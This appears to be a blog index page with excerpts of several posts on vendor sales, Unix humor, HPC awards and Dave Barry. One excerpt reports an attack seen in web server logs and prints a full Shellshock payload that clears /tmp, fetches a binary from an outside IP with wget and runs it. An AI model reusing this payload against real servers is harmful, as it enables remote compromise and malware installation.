Finding myself on the other side of the table in the consumer-vendor relationship has resulted in some eye opening experiences. These are things I look back on, and realize that I strenuously avoided doing during my Scalable days. But I see everyone doing it now, as they try to sell me stuff, or convince me … Read more Typecasting and the "trust us" factor
Waaaay back in grad school in (mumble) late 80s/early 90s (/mumble), I started using Unix in earnest. Back then, my dad shared some funny Unix error messages which were double entendres … often quite entertaining, as the shell was effectively playing the straight man in a comedy duo. Without intentionally doing so (of course). Nowadays, … Read more More unix command line humor
This was my first post. On 12-October-2005. I’ve written about many things over the past decade. 2000 plus posts, 200 per year, averages about 4 every 7 days or so. I’ve slowed down a bit in recent months, as work has grown more intense, but there are many thoughts I want to get down. To … Read more Ten years ago this blog was born
Our friends at Lucera are in number 6 for best use of HPC in a financial services category. Our Unison product is at number 11 for Best HPC Storage Product or Technology. And I did a write in for #21 for us :D. Our friends at Mellanox have their 100Gb EDR Infiniband technology at number … Read more Voting in HPCWire's readers choice awards are open, please vote!
I saw this attack in the day job’s web server logs today. From IP address 126.96.36.199, which appears to point back to Alibaba. This doesn’t mean anything in and of itself, until we look at the payload. ()%20%7B%20:;%20%7D;%20/bin/bash%20-c%20/x22rm%20-rf%20/tmp/*;echo%20wget%20http://188.8.131.52:999/htrdps%20-O%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20echo%20By%20China.Z%20%3E%3E%20/tmp/Run.sh;echo%20chmod%20777%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20/tmp/China.Z-thpwx%20%3E%3E%20/tmp/Run.sh;echo%20rm%20-rf%20/tmp/Run.sh%20%3E%3E%20/tmp/Run.sh;chmod%20777%20/tmp/Run.sh;/tmp/Run.sh/x22 This appears to be an attempt to exploit a bash hole. What is interesting is the IP … Read more Has Alibaba been compromised?
Dave Barry in his usual fine form … summarizes our year. The one take away should be … WHAP Did anything good come out of 2012? Maybe. Just maybe. Consider: For years now, Washington has been paralyzed by bitterly partisan gridlock, unable and unwilling to act in the face of a looming, potentially disastrous economic … Read more Nails it !!!